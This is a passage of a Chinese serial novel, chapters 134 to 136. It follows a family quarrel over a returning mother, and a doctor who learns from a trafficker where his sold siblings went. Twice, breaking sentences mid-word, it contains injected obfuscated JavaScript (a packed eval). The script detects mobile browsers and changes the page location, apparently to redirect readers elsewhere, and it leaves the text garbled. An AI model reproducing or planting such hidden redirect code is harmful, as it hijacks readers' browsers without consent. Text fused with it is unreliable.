面对李大虎的威胁,李豆宝不仅没有丝毫畏惧,反而更加倔强地顶嘴道:“哼,有她没我,有我没她!她要是敢进这个门,我立马就离家出走!” 李大虎一听这话,气得浑身发抖,他二话不说,直接撸起袖子,准备给李豆宝一个狠狠的教训。 就在这千钧一发之际,小翠连忙冲上前去,死死地拉住了李大虎的胳膊,焦急地喊道:“不要打孩子!我不进去就是了,我相信豆宝总有一天会理解我的!” 然而,李豆宝却对小翠的退让毫不领情,他依旧恶狠狠地吼道:“哼,你给我滚!” 李大虎见此情形,也有些无奈,他瞪了李豆宝一眼,然后对小翠说:“你要是赶她走,我就跟她一起走!” 这时,王小凤突然站了出来,她大声说道:“你们都先别吵啦!大家都先冷静一下好不好?豆宝才刚刚知道这个事情,他也需要一些时间去接受啊!” 然而,李豆宝却对王小凤的话充耳不闻,他气鼓鼓地喊道:“奶奶,我不要这个女人进来!” 说完,他像一阵风一样,迅速转身,“砰”的一声关上了房门,把自己关在了屋里。 李大虎见状,顿时火冒三丈,他对着紧闭的房门怒吼道:“臭小子,你翅膀硬了是吧?居然敢不听老子的话!” 王小凤连忙安抚李大虎,说道:“好啦,好啦,大虎,你先别生气!旁边不是还有个小房子嘛,先把它收拾出来,暂住一下也没关系的呀!” 可不是嘛!那个小房子,当初就是因为小翠刚进门时,嫌弃那个傻子弟弟二蛋,不让他住进屋里来,所以李大虎才在房子旁边又盖了这么个小屋。如今,那间屋子里面已经破旧不堪,到处都落满了厚厚的灰尘…… 小翠站在一旁,看着这一切,心中不禁涌起一股苦涩的感觉。她怎么也想不到,有朝一日,自己竟然会住进这间破破烂烂的小屋里。她无奈地笑了笑,那笑容中充满了自嘲和无奈。 李大虎虽然心里还憋着一肚子气,但还是二话不说,转身快步走向那间小房子,准备去收拾一下。他边走边对小翠说:“你在外面等着,我先去把屋子收拾干净了,你再进去。” 忙碌了好一会儿之后,小翠终于走进了屋子。这间屋子的陈设非常简单,一眼望去,只有一张床和一张桌子,别无他物。 小翠缓缓地走到床边,轻轻地坐了下来。李大虎见状,连忙跟了过去,关切地对她说:“你要是有什么需要的东西,尽管跟我讲,我马上出去买新的给你用!” 然而,小翠只是轻轻的摇了摇头,李大虎突然注意到小翠的脸色有些不太对劲。只见她的脸色苍白,看上去十分憔悴。李大虎心中一紧,急忙问道:“你是哪里不舒服吗?还是被豆宝那孩子给气着了?怎么脸色这么差呢?” 小翠轻轻的笑了笑,轻声说道:“我……我就是累了,想休息一下。”她的声音听起来有些虚弱,仿佛连说话的力气都快没有了。 李大虎心疼地看着小翠,连忙安慰道:“好好好,你先躺下休息着,我去买点猪头肉回来,晚上咱俩一起喝点儿酒,也算是庆祝咱们一家人好不容易团圆了。”说完,他转身走出了屋子。 傍晚时分,李大虎提着买回来的东西回到了家。除了猪头肉,还有一只豆宝爱吃的烧鸡,他还特意买了一瓶烧酒。一进门,他就兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387208|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高采烈地喊道:“豆宝啊,你看爹给你买什么好吃的啦!今天可是个大日子,咱们一家人好不容易团圆了,你就当是给爹一个面子,陪你娘一起吃顿饭吧!” 李豆宝撅起嘴,一脸不情愿地说道:“我不想吃!” 李大虎见状,连忙笑着解释道:“豆宝听话,你看爹给你买了什么?这可是你最爱吃的烧鸡呀!”说着,他将手中用袋子包裹得严严实实的烧鸡在李豆宝面前晃了晃。 然而,李豆宝却丝毫不为所动,甚至把脸扭到了一边,赌气似的说道:“我现在不爱吃了!” 李大虎不禁有些愕然,他看着李豆宝,一时间不知道该说什么好。 这时,一旁的王小凤开口了:“你呀,怎么这么心急呢?这么突然的事情,别说豆宝了,连我都还有点儿接受不了呢!” 李大虎无奈地叹了口气,转头对母亲说:“娘,您也帮忙劝劝豆宝啊!” 王小凤没好气地瞪了他一眼,说道:“我怎么劝?豆宝还不到一岁呢,她就这么狠心抛弃了他,你难道还要让我们怎么对她感激涕零?” 李大虎听了母亲的话,心中一阵酸楚。他知道母亲说的有道理,这件事确实让人难以接受。 他默默地叹了口气,看来暂时是劝不动这祖孙俩了。于是,他随手把包着烧鸡的袋子递给了母亲,说道:“那这烧鸡你们吃吧!晚上我再炒两个小菜,端出去吃就是了。” 王小凤并没有多说什么,只是默默地炒了几个小菜。李大虎则迅速地拿出盘子,将一半的菜拨到自己的盘子里,然后拎起他买的那卤好的猪头肉和烧酒,转身走进了那间小屋。 此时的小翠,正沉浸在甜美的梦乡之中。或许是因为一路的奔波让她感到疲惫不堪,又或许是因为此刻内心的安稳,让她的睡眠格外深沉。在梦中,小翠看到了豆宝在草地上奔跑着放风筝,他一边跑一边欢快地呼喊着:“娘,快看我放的风筝高不高!”那笑容如春日暖阳般灿烂,小翠也不禁跟着笑了起来。 然而,就在这时,一阵突如其来的雷声划破了夜空,将小翠从美梦中惊醒。她猛地睁开眼睛,一时间有些恍惚,不知道自己身在何处。 过了一会儿,小翠的视线渐渐清晰,她看到李大虎正坐在她的身旁,一脸关切地看着她。 “你醒了?饿了吧?起来吃点东西吧!”李大虎轻声说道。 小翠有些茫然地问道:“我睡了多久了?” 李大虎回答道:“不久,也就几个时辰吧!” 小翠惊讶地说:“我居然睡了这么久……” 李大虎微笑着安慰道:“能睡是福啊……” 李大虎完全没有意识到,这些天来,小翠一直被病痛所折磨,以至于她已经很长时间都无法安然入睡了…… 小翠的嘴角却泛起了一丝喜悦,轻声说道:“是啊,你说得对,能睡个好觉确实是一种福气呢……” 李大虎见状,连忙倒上了两杯酒,豪爽地说道:“来,今天咱俩就好好地喝上一杯!” 小翠微笑着举起酒杯,向着李大虎敬去,感激地说道:“谢谢你把豆宝抚养长大……” 李大虎摆了摆手,满不在乎地回答道:“那是我儿子,我不养谁养啊?” 小翠闻言,脸上露出了一丝尴尬的笑容。 几杯酒下肚后,李大虎的情绪似乎有些激动,他突然伸手搂住了小翠,带着些许醉意地问道:“这些年,你都去哪儿了啊?我可是满世界地找你呢,可你却像是凭空消失了一样……”说到这里,这个一向坚强的男人竟然像个孩子一样,突然就那么毫无征兆地落起泪来! 小翠被李大虎的举动吓了一跳,她微微一怔,心中涌起一股难以言喻的感觉。她从未想过,竟然还有人为自己流泪…… 沉默片刻后,小翠轻声说道:“我这不就在你面前坐着嘛!” 第134章 钱财乃身外之物 李大虎转脸露出笑容:“对,对,你回来了我开心,从今天起,我天天都要跟你在一起,不能让你再消失了!” 小翠嘴角微微上扬,露出了一抹淡淡的微笑,但那笑容却显得有些勉强和无奈。她轻声说道:“这次,我可能……”话还没说完,就被李大虎紧紧地拥入怀中。 李大虎的双臂紧紧地抱住小翠,仿佛生怕她会突然消失不见。他的声音有些哽咽:“不要再离开我们了!” 与此同时,宗海的心情却异常沉重。直到今天,他才恍然大悟,原来这唯一能找到弟弟妹妹的线索,竟然是那间可恨的曹记烟馆!这让他感到既震惊又沮丧。 宗海眉头紧皱,躺在床上辗转反侧,难以入眠。他的脑海里不断地闪现出与弟弟妹妹有关的点点滴滴,心中的焦虑和不安如潮水般涌上心头。 张雯雯察觉到了宗海的异样,她侧过身来,关切地问道:“你怎么了?有心事吗?”宗海叹了一口气,坐了起来,他的脸色显得有些憔悴,眼神也有些迷茫。 “你先睡吧,我有些睡不着,想去喝杯茶。”宗海轻声说道,然后缓缓地下了床,穿上鞋,朝着窗口走去。 宗海起身走到窗边,今晚的月亮格外的圆,照的地面都亮堂堂的!望着那天上的月亮,竟不知不觉得出了神,到底多长时间没有见过这么圆的月亮了,印象中,好像小时候母亲搂着他们几个讲故事的时候,外面的月亮才会这么圆! 张雯雯见状,连忙起身,快步拿起一件外套,然后走到宗海身旁,轻轻地将外套披在他的身上,柔声说道:“天凉了,可别冻着!” 宗海感受到张雯雯的关怀,心中一阵温暖,他微笑着拍了拍张雯雯的手,说道:“谢谢你,雯雯。” 张雯雯微微一笑,道:“跟我怎么还这般客气呢!” 宗海笑了笑,接着说道:“明天,我打算去一趟曹家。” 张雯雯闻言,脸上露出一丝疑惑的神情,她不禁问道:“曹家?你说的是那个曹记烟馆的曹家吗?” 宗海点了点头,肯定地回答道:“对,就是那个曹家。” 张雯雯心中越发好奇起来,她知道宗海向来对那种地方十分厌恶,怎么会突然想要去那里呢?这实在让人有些捉摸不透。 张雯雯稍稍犹豫了一下,还是开口问道:“难道曹家是有故人?” 宗海摇了摇头:“没有,我打算去给曹家婶子看病!” 张雯雯更加纳闷了:“之前他们上门求过好几次了,送了那么多诊金,你都不肯诊病,今日怎么这般突然?” 宗海却眉头紧皱,望着那月光,缓缓开口:“我只是想要知道我弟弟妹妹们的下落!” 张雯雯望着宗海的模样,追问道:“难道你的弟弟妹妹在曹家?” 宗海摇了摇头,一脸凝重的说道:“我不知道他们在哪里?只是觉得那曹婶子应该知道他们的下落!” 第二日,宗海一早便背着药箱出了门,他站在曹记烟馆的门口,仿佛看到了父亲生前的模样,心中升腾起一阵怒意。他强制把心中的这份怒意压了下去! 正巧曹婶子的侄子看到了宗海,一脸热情的跑上前来:“是许大夫啊?许大夫今日前来,可是愿意为我姑母诊病了?不管花费多少银两,我们都给得起!” 宗海面沉似水,毫无表情地说道:“带我去见曹婶子!”他的声音冰冷而严厉,让人不禁心生畏惧。 曹家那人听到宗海的话,脸上立刻露出欣喜的笑容,连忙热情地将宗海往里面迎去,嘴里还不停地说着:“快请,快里面请!” 紧接着,他转头吩咐一旁的伙计道:“快去告诉姑母一声,就说许大夫来了!”伙计领命后,急匆匆地向内院跑去。 内院里,一间装修奢华别致的房间中,一个身形佝偻的老妇人正靠在床上,剧烈地咳嗽着,身体因为剧烈的咳嗽而缩在一起,看上去十分痛苦,似乎一躺下去就呼吸困难似的。 然而,当她听到伙计的声音传来:“老姑奶奶,许大夫来了。”那妇人像是突然被注入了一股力量,猛地坐起身来,急切地喊道:“快,快扶我起来!我要去见许大夫!” 宗海站在内院门口,静静地观察着眼前这座阔气的宅院,心里想着:“不知道这座宅院里面到底坑害了多少个家庭”。正思索着,一个妇人颤颤巍巍地被人搀扶着从里面走出来。那妇人的身体显得十分虚弱,仿佛一阵风就能将她吹倒。 “许大夫,我可算是见着您了!”妇人的声音有些沙哑,透露出她内心的急切和渴望。 站在旁边的曹管事连忙扶住了她,关切地说道:“姑母,你出来做什么?大夫都说过了你不能见风,若是受了凉,那病情该更严重了!” 然而,妇人似乎对这个人的劝告并不领情,她一脸不悦地反驳道:“提那些个庸医做什么?用了数年的药都反反复复不曾好转,可见那些庸医都医术不精!” 妇人的话语中充满了对之前医生的不满和失望,显然她对自己的病情已经失去了信心。 说完,妇人转头看向宗海,眼中闪过一丝希望的光芒,接着说道:“还请许大夫大发慈悲,能救我这个孤寡老妇一命!”话音未落,她又剧烈地咳嗽起来,那咳嗽的声音异常刺耳,让人不禁为她的身体状况担忧。 从这阵咳嗽声中可以听出,妇人的咳疾已经持续了很长时间,而且恐怕病症早已深入肺腑,情况不容乐观。 宗海站在一旁,静静地看着这一切,并没有立刻回应妇人的请求。 这时,一旁的曹管事见状,连忙开口说道:“许大夫,不如,我们先进屋里去说吧!”宗海抬脚进了屋子,随后曹婶子也被侄子扶着进了屋! 待宗海进了正厅落了座后,曹管事立马沏上了一杯茶:“许大夫尝一尝,这可是我们曹记独有的好茶!” 见宗海并没露出过多的情绪,曹婶子朝着曹管事使了使眼色,随后曹管事从里屋端出一个精美的盘子,盘子上整整齐齐地摆放着十根金灿灿的金条,在阳光的照耀下,闪耀着令人目眩的光芒。 他满脸堆笑地对许大夫说道:“这十根金条只是定金而已,若是许大夫能够妙手回春,治好我姑母的病,我必定会再送上五十根金条作为谢礼!” 然而,令人意想不到的是,面对如此诱人的条件,宗海竟然不为所动,他缓缓地摇了摇头,语气坚定地说:“金银钱财不过是身外之物,对我来说,这些俗物毫无意义。你们还是自己留着吧!” 曹婶子和曹管事面面相觑,脸上露出难以置信的表情。他们实在想不通,竟然会有人对这么多的金条无动于衷? 曹婶子见状,急忙凑上前去,满脸谄媚地说:“许大夫,您别这么说呀!如果您有什么其他的要求,尽管提出来便是!我老婆子虽然没什么大本事,但还是有一些家底的!” 宗海嘴角微微上扬,露出一抹不屑的冷笑,冷哼一声道:“我不要你那些金银钱财,我只想向曹婶子打听一件事情!只要你能如实相告,我必定会全力以赴地为你诊治!” 曹婶子脸色突然一变,随后挥手示意让屋内的人全部出去,然后,他的目光缓缓地转向宗海,眼神中透露出一丝疑惑和探究,开口问道:“不知许大夫想要打听什么事情?只要是我所知晓的,必定会如实相告!” 宗海听后,嘴角微微上扬,露出一抹不易察觉的笑容,回应道:“曹婶子,您可一定要说话算话啊!” 曹婶子连忙点头,保证道:“许大夫尽管放心,只要是我能帮忙的,绝对不会推辞!” 宗海见状,稍稍迟疑了一下,终于还是开口问道:“我想问一下曹婶子,您在十几年前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15396031|165120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是否曾经见过丁家豆腐铺的那几个孩子呢?” 话音未落,曹婶子的脸色瞬间变得有些紧张起来,她的手不自觉地攥紧了衣角,结结巴巴地回答道:“这……这我怎么会知道呢?许大夫,您和丁家是有什么关系吗?” 宗海深吸一口气,定了定神,解释道:“丁家与我也算是故人了。然而,一夜之间,他们家的孩子却突然失踪了。有人告诉我,亲眼看到那几个孩子来到了您这里。所以,我想问问曹婶子,您是否还记得他们的去向呢?” 曹婶子的额头开始渗出细密的汗珠,她的目光闪烁不定,似乎在努力回忆着什么,但最终还是摇了摇头,说道:“我……我确实见过丁家的那几个孩子,但是时间过去太久了,我……我已经不记得他们去了哪里了。” 宗海见状,心中已然明了,他知道曹婶子多半是有所隐瞒,但他并没有直接揭穿她,只是淡淡地说了一句:“既然曹婶子不愿意告诉我实情,那我也不好强求。如此,我便先告辞了!”说罢,他拎起药箱,转身迈步朝门外走去。 曹婶子立马挽留,一把拉住了宗海的胳膊:“许大夫别急,容我好好想一想,我年纪大了,也要给我好好想一想的时间啊!” 宗海见状,又重新坐了回来:“曹婶子到底是不想告诉我呢,还是想不起来呢!曹婶子不如好好想想再回答我,反正我有的是时间可以等你的答案!” 曹婶子抹了抹额头上的汗珠,心中从来没有像今日这般难熬,思索了片刻,便张了口:“其实当初是那丁大柱自己把那三个孩子带到我这里来的!原本他只是想要卖掉那个丫头片子和那个刚一岁的小孩子,谁知道跟着来的那个大点儿的男孩子太闹腾了,所以我便给迷晕了去!只是我们做这个生意的,也有这行的规矩啊,别人给了钱,他们也收了钱,现在孩子长大了,若是都告诉了他们去处,他们再去胡闹前去讨要,那岂不是乱了规矩!” 宗海一脸诚恳地对曹婶子说道:“你大可放心,我不会去打扰他们的生活。我只是想知道他们现在过得好不好,这样我也就放心了。” 随后顿了一下:“如果您能把您所知道的一切都告诉我,我可以保证,虽然不能完全治愈您的病,但至少能让您的病情得到八成的缓解,这样您就不会再像现在这般坐立难安,痛苦不堪了。” 刘婶子听完宗海的话,脸上立刻露出了欣喜的神色,她有些激动地问道:“许大夫,您说的都是真的吗?我这病真的还能治?” 宗海看着刘婶子,默默地点了点头,似乎是用眼神告诉她,他有信心治好她的病。 刘婶子此时心中却又犯了难,这事情到底该不该告诉许大夫呢!告诉他吧,可万一他跑上门去要人,那自己可就吃不了,兜着走了!可若是不说,这病痛的折磨自己实在是有些忍受不了了!况且这许大夫刚才说了,他起码能治好八成!可是他连金银钱财都看不上,真的就只是为了打听那几个孩子,就突然愿意给自己诊病了? 她越想越有些不明白,于是她便试探性地问道:“许大夫,这人尽皆知,您有三不治,之前数次求医您都拒绝于我,如今您当真愿意为我诊治?” 宗海微微点了点头:“曹婶子请放心,只要你告诉我那几个孩子的下落,我绝不食言,且不会收你一分诊金!”嘴里说着,心里却想着:“哼,你的钱八成都是祸害别人来的脏钱,我若是用了你的钱岂不是与你同流合污了……给你诊病,不过是来日为了与弟妹相认留个人证罢了!毕竟小弟在丢失之时,才不过一岁而已,就算是见面告诉他,他可能也不见得会信啊!所以,曹婶子这个人,起码现在还不能就看着她病死!” 曹婶子感觉还是不太放心,又向宗海确认了一番:“许大夫,我若是真的告诉了你那几个孩子的去处,您保证,真的不会去讨要那几个孩子?” 第135章 桥头的周大夫 宗海朝着曹婶子点了点头:“我保证,只要他们生活得不错,如果他们都很开心快乐,我是决然不会去打扰他们的生活的!” 曹婶子心中有了一丝安慰,便开口说道:“你放心,那最小的孩子啊,可是大门大户的唯一继承人,当初我可是告诉过丁大柱,那可是他这辈子做梦都攀不上的富贵人家!我还听说,这孩子都去西洋留学了!你说我给找的这家庭好不好,要是丁大柱还活着,他指不定还咋感谢我呢!” 宗海一脸惊讶地说道:“西洋?竟然那么远!”他的声音中透露出难以置信的感觉。 曹婶子连忙解释道:“哎呀,那富贵家庭的孩子不是都喜欢去西洋留学嘛!”她似乎对这种情况习以为常。 宗海的好奇心被激起,他紧接着问道:“能告诉我是哪个大户吗?” 曹婶子突然变得有些结巴起来,她犹豫了一下,然后小声地说:“是高家,您知道就好了,您可千万别说出去啊!”她的语气充满了担忧和谨慎。 宗海点了点头,表示理解曹婶子的顾虑。接着,他又追问道:“那另外两个孩子呢……” 曹婶子稍稍松了口气,继续说道:“那个小丫头吧,当时原本赵家戏班很想要的,是丁大柱自己选择了要把那小丫头卖给别人家做童养媳的!” 宗海听后,眉头微皱,似乎对这个决定感到有些不解。他追问道:“还烦请曹婶子细说!” 曹婶子此时对宗海也没了戒备心理,便娓娓道来:“那丫头好像是一户姓刘的一对夫妻带走的,是个乡下人,就是为了给他儿子买个童养媳回去!” 宗海没想到,自己唯一的妹妹宗梅当年才三岁,爹居然就这样把她卖到了乡下,一时心中的怒意涌上心头!脸色也跟着变得有些阴冷,十分的难看! 曹婶子看着宗海的脸色,似乎有些不太对劲,她心里不禁有些紧张,犹豫了一下,还是小心翼翼地开口问道:“那……还要继续说吗?” 宗海听到曹婶子的话,回过神来,他深吸一口气,定了定神,然后说道:“说,你接着说就是!” 曹婶子见状,缓了口气,点了点头,继续说道:“就是那个大一些的孩子,当时那人来的很匆忙,也没说太多,只说他们家的儿子没了,需要找个孩子给他们家延续香火。至于具体是哪里的人,我也不是很清楚,只记得好像姓陈!”说完,曹婶子有些担忧地看着宗海,不知道他听完这些会有什么反应。 宗海静静地听着曹婶子的讲述,他的脑海里不断闪过各种念头。他暗自想着:“真好,起码我大概知道他们还在世,希望弟弟妹妹们不要怪罪大哥,是大哥没有保护好你们!” 曹婶子有些怯懦的望着宗海,随后沉默了片刻后,缓缓张口:“许大夫,我知道的就只有这么多了!你看我这病?” 话还没说完,就见曹管事端着一碗药闯了进来:“姑母,药煎好了,您要不要趁热喝了!” 曹婶子不耐烦地挥了挥手,对着曹管事说道:“放那里吧!你先出去,我和许大夫的话还没讲完呢!” 曹管事有些无奈地看了曹婶子一眼,然后默默地把药碗放在了曹婶子面前的桌子上,转身便走出了房间。 房间里,一股浓烈的中药味便扑鼻而来。这股味道弥漫在空气中,只见那曹婶子闻到了这股药味之后,她便突然剧烈地咳嗽起来,仿佛这股药味对她的呼吸道产生了极大的刺激。 宗海见状,心中更加疑惑。按理说,这曹老太太的病应该是需要中药来调理的,可这药分明好像让曹老太太的病更严重了似的! 怀着一分疑惑,宗海还是张了口:“可都将药方给我一看!” 曹婶子立马像是得到了恩惠一般,迅速起身到抽屉里拿来了一张药方交给宗海:“许大夫,莫不是这药有什么问题?我都喝了许久了,好像咳得更厉害了似的!” 宗海看着手里的药方,皆是清热解毒的凉药,可唯一令人不解的是,这药单里面,竟用了红参,太子参,还有黄芪等一些补气的药物! 虽说体虚需要补气血,但是这肺腑之病症,这种补法,只怕会适得其反呢! 宗海甚至有些怀疑,莫不是这个大夫故意在药方上做了手脚!不然怎么会如此下药! 望着宗海那皱着眉头的模样,曹婶子一脸狐疑地问道:“许大夫,可是这药方哪里不对劲?” 宗海端详着那药方,若有所思地问道:“敢问这药是谁人所开?” 曹婶子一脸认真地说道:“这药是桥头那位周大夫给开的!” 宗海心中暗自思忖着:“周大夫?嗯……听起来似乎有些耳熟呢。”但他一时半会儿没想起来是谁,决定等会儿一定要亲自去拜访一下这位周大夫,看看他究竟是哪位! 想到这里,宗海嘴角微微上扬,露出一抹淡淡的笑容,然后若无其事地说:“哦,原来如此啊,他的药开得倒是挺不错的,只是剂量稍微大了一些,可能你的身体暂时还无法完全承受得住。这样吧,待我给你重新换一张方子,相信按照这个新方子抓药服用后,你的病情应该就能得到很大程度的缓解了。” 说罢,宗海迅速拿起桌上的纸笔,龙飞凤舞般地在纸上写下了一副新的药方。写完后,他将药方递给了曹婶子,同时解释道:“你按照这个方子去抓药就行。” 曹婶子接过药方,如获至宝般仔细看了看,连连点头道:“好的,好的,真是太感谢许大夫了!” 宗海微笑着摆了摆手,说:“不用客气,我还有些事情需要处理,就先告辞了。” 话音未落,曹婶子便急忙高声呼喊门外的伙计:“人呢?人都跑哪儿去啦?快把这碗药倒了去,再赶紧去外面按照许大夫给的这个方子重新抓药,动作快点儿!” 门外的伙计立马跑进来,拿起新的药方一溜烟儿的就跑出去了! 宗海大步走出了曹家,并没有选择回家,而是直接去了桥头去寻那周大夫! 宗海在桥头转来转去,并没有什么医馆,也没什么药铺,真是奇了怪了!于是他拦住一位路人:“这位小兄弟,敢问您可知晓周大夫去哪里寻?” 那路人一脸不耐烦地摆着手,粗声粗气地说道:“不知道,不知道,你别在这儿烦我了,到一边儿去问别人吧!” 就在这时,一个妇人缓缓地走了过来。她上下打量了一下宗海,注意到他手中拎着的药箱,眼中闪过一丝好奇,然后开口问道:“这位小兄弟,我看你拎着药箱,难不成你是周大夫的学生?” 宗海见状,先是微微皱了一下眉头,但很快就恢复了笑容,他礼貌地回答道:“对,我久闻周大夫医术高明,所以特地前来向他请教一二。” 那妇人听了宗海的话,脸上露出了笑容,说道:“周大夫可是个大好人呐!他心地善良,医术又精湛,如果他知道有人愿意找他求教,说不定会高兴得合不拢嘴呢!” 宗海心中一喜,连忙追问道:“那周大夫的医馆到底在什么地方呢?我在这里已经转了好几圈了,都没有看到有任何医馆的影子啊。” 妇人笑了笑,热情地说道:“跟我来吧,一般人可找不到他呢!”说着,她转身朝着一个方向走去,宗海见状,赶忙跟了上去。 宗海跟着那老妇人身后,那老妇人竟真的往桥头走去!宗海甚是疑惑,这到底是要去哪里? 桥头不远处有棵大树,树底下竟坐着一位老者,远远望去,还以为是一群人在树下聊天,待走近一些才发现,是一位母亲带着孩子跪在地上感谢那位老者:“多谢周大夫出手相救,要不然我这孩子恐怕就……”那妇人一边磕头,一边痛哭流涕! 老者立马扶起了那妇人:“外面风大,赶快带孩子回家去吧!” 宗海看着坐在树下的周大夫,心中不禁涌起一股好奇。他不禁自言自语道:“想必那位就是周大夫吧?可他为何是坐在这树下行医呢?” 一同前来的妇人听到宗海的话,笑着解释道:“你懂什么?周大夫才是这人世间最有大爱的大夫呢!他行医从来不张口要钱,都是病人主动给的。不过就是他只开药方不卖药。所以呀,找他看病的大多都是穷人,因为他免费开方子,且都是可以自己挖到的草药,能让我们这些普通老百姓可省下不少钱呢!” 妇人说完,便朝着那周大夫挥着手,高声喊道:“周大夫,有人找你学医来了!” 周大夫听到妇人的呼喊,缓缓抬起头,与宗海的目光交汇在一起。宗海心中顿时明白了过来:怪不得这位老嫂子说他是来拜师的,原来这周大夫的年纪确实都可以做他的父亲了! 而周大夫对于宗海也并不陌生,他曾经与宗海有过一面之缘,自然认得宗海是从哪里来的。 只见周大夫笑了笑,说道:“王家嫂子,你这回可是眼拙了啊,他可不需要向老夫求教啊,他可是张记药铺出了名的许大夫啊!” 在这方圆百里,提起许大夫,可谓是无人不知、无人不晓!他的医术高明,药到病除,不知道拯救了多少人的生命呢!而且,许大夫不仅医术精湛,医德更是高尚,对待每一个病人都如同亲人一般,尽心尽力,从不敷衍了事。 那老妇人一听这话,顿时瞪大了眼睛,满脸的难以置信:“不是诓我的?这真是那位许大夫?”她的声音都有些颤抖了,显然是被这个消息震惊到了。 周大夫见状,连忙点了点头,肯定地说道:“没错,这就是许大夫本人。”宗海也跟着点了点头,表示认同。 接着,宗海有些不好意思地对那带路的老妇人说道:“实在抱歉,方才有意隐瞒了身份!还请勿怪!”他的语气中带着些许歉意,毕竟刚才没有直接表明身份,让那妇人有些误会了。 然而那妇人却满脸透露着兴奋之情:“哎呀,那不是两位好人正巧聚在一起了,我这就回去做顿好菜,许大夫也不准走,等下可要和周大夫一起去我家吃饭!”说完头也不回的扭头往回走去,看着心情好像十分的愉悦! 宗海正打算告诉那妇人不必如此麻烦之时,却被周大夫一把拉过:“来,坐,陪我这个老头子喝杯好茶!” 两位端起茶杯一饮而尽,宗海缓缓开口:“不知周前辈为何会认得我?” 周大夫爽朗的笑了笑:“你许大夫的鼎鼎大名,这方圆几十里还会有谁人不知晓!且我与你师傅张天福乃是同窗,他在世时,我去过几次,那时候的你小子只知道埋头钻研医术,想必也并未关注我们这群老不死的吧!” 宗海一脸愧疚地说道:“真是惭愧啊,我竟然不知道您是岳父的同窗!如果之前有什么冒犯您的地方,还望前辈您多多包涵!” 周大夫闻言,微微皱起了眉头,疑惑地问道:“不过话说回来,你不在你那张记药铺里坐诊,怎么会特意跑到这里来找我呢?” 宗海稍稍犹豫了一下,但最终还是鼓起勇气张开了口,说道:“其实呢,我是有一件事情不太明白,所以特地来请教前辈您,希望您能帮我解答一二。” 周大夫点了点头,示意宗海继续说下去。 宗海连忙从怀里掏出一张药方,递给周大夫,说道:“这是我从曹家带出来的药方,想请您帮忙看看。” 周大夫接过药方,粗略地看了一眼,脸色微微一变,说道:“原来如此,你竟然去了曹家!我就说我这药方,除了你们张记药铺,其他大夫应该是看不出这其中的门道来的!” 宗海更加疑惑了,急切的问道:“前辈当真是有意为之?” 第136章 周大夫的过往 周大夫淡淡的笑了笑:“传闻不是说你三不治嘛!怎么你竟也去了曹家,还给那老妖婆看了病?” 宗海一时有些语塞,不知道该怎么说。周大夫却拍了拍宗海的肩膀:“小伙子,每个人都有自己的故事!你若是告诉我你为什么去曹家,我就告诉你,我为什么要在药里动手脚!怎么样?这你也不吃亏吧?” 宗海看着眼前的周大夫,想必他跟自己一样也是恨那曹家的吧,要不然他断然不会在药方中动手! 宗海皱了皱眉头,看向眼前的周大夫:“前辈,实不相瞒,我对那曹家也是恨透了的!直到前两日我方才知晓,我那年幼的弟弟妹妹,都是经那曹家婆子的手给卖了的!今日我去只为了打探出弟弟妹妹的消息,可是当我得知,弟弟妹妹他们都还在世以后,我还不能让她这么快就离世,她可能是我今后与弟弟妹妹相认的唯一证人!” 宗海眼中含着泪花,望向周大夫:“还请前辈给我一点时间,今日听闻,我那个小弟弟还远在西洋,若是他哪日归来,如果没有曹婆子这个证人在,恐怕小弟难以相信我说的话啊!” 周大夫意会的点了点头:“原来如此,难为你了!” 宗海望着周大夫,轻声问道:“敢问周大夫,是否也与那曹家有仇?” 周大夫望着那潺潺流淌的河水,叹了口气:“哎,你我皆是苦命之人啊!” 宗海点了点头,继续问道:“莫不是那曹家也卖了您的儿女?” 周大夫却笑着摆了摆手:“我并无儿女!” 宗海满脸疑惑,有些不太明白,便试探的问道:“那是?” 周大夫慢慢陷入了回忆之中:“三十年前,我也还是个意气风发的少年,那时,我有我的挚爱七月,我和她本是邻居,也算是青梅竹马,早已偷偷暗生了情愫!那日,曹家求医求到了师傅那里,师傅不愿前去,奈何给的钱多,我便想要多赚一些钱财,好回来赢娶七月!” 可偏偏就是因为我去了曹家,七月去曹家找我,却被那曹家给盯上了!等我行医归来,却听说,曹家上门给了七月父母很多钱,说是要买走七月做干女儿,七月父母收了他们的钱,也以为七月是去过好日子去了! 等我追到曹家,却发现七月被绑着,抬进了醉香楼!原来她是把七月卖进了窑子了! 七月誓死不从,选择了自尽! 等我在乱葬岗找到她的时候,她只剩下最后一口气,她说她想念和我在一起坐在树下看小桥流水的样子! “我把她葬在了这大树底下,从那天开始,我浑浑噩噩,几乎每天都醉倒在这大树下面,希望能与她梦中相见!”周大夫一边说着,一边抚摸着身边的那棵大树,仿佛大树是他今生最重要的事物! 过了片刻之后,周大夫又望着那水面,叹了口气:“直到那日,那曹家突然又找我求医,说那老妖婆得病许久未曾治愈,我收拾好了行囊,本想一把砒霜送她归西!但是为人医者,怎能这般恶毒的心思!” “索性我就给她多开了些大补的药材,既不会让她病亡,又不能让她舒服一点,我就是要让她被病痛折磨得坐立难安,让她一刻不得安宁!”他满脸愤怒,诉说着自己的不甘! 宗海深知周大夫的痛楚,两个人心照不宣,望着那片潺潺的河水,各自思索着自己的心事! 